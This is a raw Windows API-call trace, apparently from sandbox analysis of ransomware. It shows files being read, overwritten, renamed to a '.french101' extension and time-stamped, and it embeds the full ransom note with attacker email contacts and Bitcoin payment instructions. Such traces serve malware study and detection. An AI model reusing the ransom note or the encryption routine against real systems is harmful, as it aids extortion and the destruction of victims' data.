lpUsedDefaultChar=0x0) returned 1 [0278.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0278.020] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0278.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0278.020] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\я" (normalized: "c:\\588bce7c90097ed212\\1033\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.035] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0278.036] CloseHandle (hObject=0x308) returned 1 [0278.036] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\я" (normalized: "c:\\588bce7c90097ed212\\1033\\я")) returned 1 [0278.037] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0278.037] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0278.037] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0278.037] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0278.038] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf", dwFileAttributes=0x20) returned 1 [0278.038] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.038] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.038] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xc74 [0278.038] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.038] SetFilePointer (in: hFile=0x308, lDistanceToMove=3188, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xc74 [0278.038] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0278.042] CloseHandle (hObject=0x308) returned 1 [0278.043] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.043] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.043] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xc75 [0278.043] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.043] SetFilePointer (in: hFile=0x308, lDistanceToMove=3188, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xc74 [0278.043] SetEndOfFile (hFile=0x308) returned 1 [0278.045] CloseHandle (hObject=0x308) returned 1 [0278.046] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.046] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.046] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xc74 [0278.046] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.047] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xc74 [0278.047] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.047] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.048] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.048] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0278.048] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.048] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.048] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0278.048] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.048] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0278.048] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0278.048] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.048] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0278.048] WriteFile (in: hFile=0x308, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.048] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0278.048] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xc74 [0278.049] SetFilePointer (in: hFile=0x308, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0278.049] SetFilePointer (in: hFile=0x308, lDistanceToMove=3188, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xc74 [0278.049] WriteFile (in: hFile=0x308, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0278.140] WriteFile (in: hFile=0x308, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0278.140] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.140] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.140] CloseHandle (hObject=0x308) returned 1 [0278.141] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\VCbgvLB6bk5gvjJ1mHUW4Q.french101" (normalized: "c:\\588bce7c90097ed212\\1033\\vcbgvlb6bk5gvjj1mhuw4q.french101")) returned 1 [0278.142] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\VCbgvLB6bk5gvjJ1mHUW4Q.french101" (normalized: "c:\\588bce7c90097ed212\\1033\\vcbgvlb6bk5gvjj1mhuw4q.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.142] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0278.142] CloseHandle (hObject=0x308) returned 1 [0278.142] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\VCbgvLB6bk5gvjJ1mHUW4Q.french101", dwFileAttributes=0x80) returned 1 [0278.142] CloseHandle (hObject=0x308) returned 0 [0278.142] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.142] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.142] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.143] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.143] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0278.143] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.143] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.143] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0278.143] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.143] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0278.143] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0278.143] GetLastError () returned 0x2 [0278.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.144] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0278.145] CloseHandle (hObject=0x308) returned 1 [0278.145] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.145] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.145] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.145] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0278.145] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0278.145] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.145] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0278.145] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.145] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0278.145] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.145] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.145] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.146] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.146] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0278.146] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0278.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0278.147] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0278.147] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0278.147] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0278.147] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0278.147] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0278.148] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.148] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.148] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12db0 [0278.148] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.148] SetFilePointer (in: hFile=0x308, lDistanceToMove=77232, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x12db0 [0278.148] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0278.157] CloseHandle (hObject=0x308) returned 1 [0278.159] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.159] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.159] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x12db1 [0278.159] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0278.159] SetFilePointer (in: hFile=0x308, lDistanceToMove=77232, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12db0 [0278.160] SetEndOfFile (hFile=0x308) returned 1 [0278.163] CloseHandle (hObject=0x308) returned 1 [0278.163] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0278.163] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.163] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x12db0 [0278.163] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0278.164] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.164] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0278.164] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.165] SetFilePointer (in: hFile=0x308, lDistanceToMove=45462, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xb196 [0278.165] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.166] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0278.166] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0278.166] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0278.166] GlobalUnlock (hMem=0x3f40014) returned 0 [0278.166] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0278.166] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.166] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.166] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.166] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.303] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0278.303] WriteFile (in: hFile=0x308, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.303] SetFilePointer (in: hFile=0x308, lDistanceToMove=45462, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xb196 [0278.303] WriteFile (in: hFile=0x308, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0278.303] SetFilePointer (in: hFile=0x308, lDistanceToMove=77232, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x12db0 [0278.303] WriteFile (in: hFile=0x308, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 